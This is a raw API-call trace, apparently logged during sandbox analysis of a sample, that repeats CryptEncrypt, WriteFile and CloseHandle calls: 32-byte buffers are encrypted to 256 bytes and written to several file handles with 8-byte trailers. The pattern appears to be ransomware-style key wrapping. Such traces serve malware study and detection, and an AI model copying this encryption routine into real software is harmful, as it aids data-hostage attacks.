CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.380] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.380] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.380] CloseHandle (hObject=0x2b28) returned 1 [0230.479] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.479] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.479] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.480] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.480] CloseHandle (hObject=0x2b28) returned 1 [0230.505] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.506] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.506] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.506] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.506] CloseHandle (hObject=0x2b28) returned 1 [0230.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.547] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.547] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.548] CloseHandle (hObject=0x2b28) returned 1 [0230.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.625] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.626] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.626] CloseHandle (hObject=0x2b28) returned 1 [0230.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.640] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.641] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.641] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.641] CloseHandle (hObject=0x2b28) returned 1 [0230.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.644] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.644] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.644] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.645] CloseHandle (hObject=0x2b28) returned 1 [0230.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.653] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.653] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.653] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.654] CloseHandle (hObject=0x2b28) returned 1 [0230.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.681] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.681] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.681] CloseHandle (hObject=0x2b28) returned 1 [0230.691] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.691] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.692] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.692] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.692] CloseHandle (hObject=0x2b28) returned 1 [0230.726] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.726] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.727] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.727] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.727] CloseHandle (hObject=0x2b28) returned 1 [0230.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.756] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.756] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.757] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.757] CloseHandle (hObject=0x2b28) returned 1 [0230.766] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.766] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.766] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.766] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.767] CloseHandle (hObject=0x2b28) returned 1 [0230.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.787] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.787] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.788] CloseHandle (hObject=0x2b28) returned 1 [0231.016] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0231.016] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0231.016] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0231.017] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0231.017] CloseHandle (hObject=0x2b28) returned 1 [0231.051] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0231.051] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0231.051] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0231.051] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0231.052] CloseHandle (hObject=0x2b28) returned 1 [0231.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0231.066] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0231.066] WriteFile (in: hFile=0x2b2c, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0231.067] WriteFile (in: hFile=0x2b2c, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0231.067] CloseHandle (hObject=0x2b2c) returned 1 [0234.042] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.042] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.042] WriteFile (in: hFile=0x2fe0, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.043] WriteFile (in: hFile=0x2fe0, lpBuffer=0x3998670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.043] CloseHandle (hObject=0x2fe0) returned 1 [0234.058] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.058] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.058] WriteFile (in: hFile=0x2fe0, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.059] WriteFile (in: hFile=0x2fe0, lpBuffer=0x3998520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998520*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.059] CloseHandle (hObject=0x2fe0) returned 1 [0234.062] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.062] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.062] WriteFile (in: hFile=0x2fe0, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.063] WriteFile (in: hFile=0x2fe0, lpBuffer=0x3998580*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998580*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.063] CloseHandle (hObject=0x2fe0) returned 1 [0234.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.087] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.088] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.088] WriteFile (in: hFile=0x3008, lpBuffer=0x3998600*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998600*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.088] CloseHandle (hObject=0x3008) returned 1 [0234.101] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.101] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.102] WriteFile (in: hFile=0x3008, lpBuffer=0x3af9798*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af9798*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.102] WriteFile (in: hFile=0x3008, lpBuffer=0x3998550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3998550*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.102] CloseHandle (hObject=0x3008) returned 1 [0234.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af98a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af98a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.106] WriteFile (in: hFile=0x3008, lpBuffer=0x3af98a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af98a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.106] WriteFile (in: hFile=0x3008, lpBuffer=0x39985f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39985f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.106] CloseHandle (hObject=0x3008) returned 1 [0234.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af7dd0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0234.114] WriteFile (in: hFile=0x3008, lpBuffer=0x3af7dd0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3af7dd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0234.114] WriteFile (in: hFile=0x3008, lpBuffer=0x39984a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x39984a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0234.115] CloseHandle (hObject=0x3008) returned 1 [0234.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0234.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x3af9798*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 